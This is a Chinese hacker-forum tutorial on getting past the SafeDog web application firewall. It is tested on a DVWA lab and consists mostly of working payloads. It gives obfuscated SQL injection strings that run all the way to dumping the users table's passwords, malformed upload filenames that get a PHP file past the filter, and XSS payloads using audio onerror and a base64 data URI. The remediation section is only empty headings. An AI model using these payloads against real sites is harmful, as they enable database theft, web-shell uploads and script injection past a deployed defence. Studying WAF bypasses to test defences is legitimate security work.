-
游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。
赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!
TheHackerWorld官方
- 0
赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!
TheHackerWorld官方
问题
HACK1949
绕过WAF的常见Web漏洞利用分析
前言
本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法,希望能起到抛砖引玉的效果。如果师傅们有更好的方法,烦请不吝赐教。
PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任
测试环境
PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+最新版安全狗(4.0.28330)
靶场使用DVWA:http://www.dvwa.co.uk/
SQL注入
判断是否存在注入
方法一
and 1=1被拦截
单独的and是不拦截的。and后面加数字或者字符的表达式会被匹配拦截。
1=1,1=2的本质是构造一个真、假值,我们可以直接用True,False代替
但是依然会被拦截。不过and也可以用 && 代替。
我们构造1' && True --+ 就可绕过
1' && False --+
方法二
将and 后面的数字或者字符表达式加几个内联注释也可以绕过。
内联注释:/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行。这些语句在不兼容的数据库中使用时便不会执行
如: 1' and /*!1*/=/*!1*/ --+
1' and /*!1*/=/*!2*/ --+
方法三 分块传输
分块传输的原理请自行检索,这里不再赘述。
分块传输插件:https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1
正常写测试payload : 1' and 1=1 --+
将请求方式改为POST,然后进行分块传输编码
可以看到,没有被拦截。
1' and 1=2 --+
猜解字段数
方法一
order by被拦截
单独的order和单独的by都不会被拦截,我们需要在order by之间加各种无效字符。
可以将 1' order /*$xxx$*/ by 1 --+ 放burp里跑各种垃圾参数字典来爆破。
经过测试,1' order/*%%!asd%%%%*/by 3 --+可以成功过狗
通过内联注释/*!*/和注释/**/以及一些无效字符也可以绕过(需要不断Fuzz尝试)
1' /*!order/*!/*/**/by*/ 3 --+
方法二 分块传输
1' order by 3 --+
获取当前数据库
方法一
1' union select 1,database() --+ 被拦截
分开测试 union select 会被拦截
database() 也会被拦截
先绕过union select:
和之前order by的绕过方法一样
1' union/*%%!asd%%%%*/select 1,2 --+
再绕过database():
经过测试,我们发现单独的database不会被拦截,加了括号就会了
我们将之前的垃圾数据/*%%!asd%%%%*/放到括号了,即可成功绕过
拼接一下,最终的payload为:
1' union/*%%!asd%%%%*/select 1,database(/*%%!asd%%%%*/) --+
方法二 分块传输
分块传输依然可以
1' union select 1,database() --+
获取数据库中的表
方法一
正常注入语句:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
根据前面的测试,这个绕过就很简单了,只需要将一个空格地方替换成/*%%!asd%%%%*/即可。
Payload:
1' union/*%%!asd%%%%*/select 1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%%%*/) --+
方法二 分块传输
获取表中的字段名
方法一
正常注入语句:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ --+
绕过方法和获取表的操作无异:
1' union/*%%!asd%%%%*/select 1,group_concat(column_name) /*%%!asd%%%%*/from/*%%!asd%%%%*/information_schema.columns where table_name=’users’ --+
方法二 分块传输
获取数据
方法一
正常注入语句:
1' union select group_concat(user),group_concat(password) from users --+
绕过方法还是一样:
1' union/*%%!asd%%%%*/select group_concat(user),group_concat(password) /*%%!asd%%%%*/from/*%%!asd%%%%*/users --+
方法二 分块传输
文件上传
安全狗对文件上传的拦截是通过检测文件扩展名来实现的。只要解析结果在禁止上传的文件类型列表中,就会被拦截。
我们要做的就是构造各种畸形数据包,以混淆WAF的检测规则。
获取文件名的地方在Content-Disposition和Content-Type,所以绕过的地方也主要在这两个地方
直接上传PHP文件会被拦截
绕过方法1
将filename=”hhh.php” 改为filename=hhh.php; 即可绕过
绕过方法2
各种换行,主要是要把点号和字符串”php”分开
绕过方法3
将filename=”hhh.php” 改为 filename==”hhh.php”(三个等号也可以绕过)
绕过方法4
文件名之间放置分号 filename=”hh;h.php”
绕过方法5
多个filename=”hhh.txt”,最后一个filename=”hhh.php”
XSS
查看安全狗的漏洞防护规则可以发现,安全狗对XSS的防护是基于黑名单的,我们只要fuzz一下哪些标签没有被过滤就好了。
有很多标签可以绕过,这里举例两种:
(1) <audio> 标签定义声音,比如音乐或其他音频流。
<audio src=1 onerror=alert(/xss/);>
<audio src=1 onerror=prompt('xss');>
(2) <object> 标签,data属性
alert(‘xss’)的base64编码:PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
payload:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
文件包含
通过绝对路径、相对路径,稍微加些混淆就能绕过...
修复建议
我们研究WAF绕过的目的主要是为了警醒网站开发者并不是部署了WAF就可以高枕无忧了,要明白漏洞产生的根本原因,最好能在代码层面上就将其修复。下面给出一些修复建议:
SQL注入
文件上传
XSS
链接帖子
意见的链接
分享到其他网站
这个问题有0个答案
推荐的帖子